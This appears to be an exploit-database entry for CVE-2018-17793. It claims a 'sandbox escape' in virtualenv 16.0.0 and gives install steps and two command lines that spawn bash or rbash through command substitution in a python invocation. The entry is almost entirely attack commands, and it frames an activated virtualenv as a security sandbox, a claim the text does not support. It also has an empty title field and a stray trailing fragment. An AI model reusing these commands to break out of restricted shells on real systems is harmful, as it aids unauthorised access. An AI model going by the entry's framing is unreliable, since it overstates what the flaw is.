virtualenv 16.0.0 - Sandbox Escape

2018-10-04
ID: 99535
Download vulnerable application: None
# Exploit Title: 
# Date: 2018-10-02
# Exploit Author: vr_system
# Vendor Homepage: https://virtualenv.pypa.io/en/stable/
# Software Link: https://virtualenv.pypa.io/en/stable/
# Version: 16.0.0
# Tested on: kali linux
# CVE : CVE-2018-17793

# 1 Install
# [email protected]:~#pip install virtualenv
# [email protected]:~#virtualenv test_env
# [email protected]:~#cd test_env/
# [email protected]:~/test_env#source ./bin/activate

# 2 Sandbox escape

(test_env) [email protected]:~/test_env#python $(bash >&2)
(test_env) [email protected]:~/test_env#python $(rbash >&2)
1-4-2 (www01)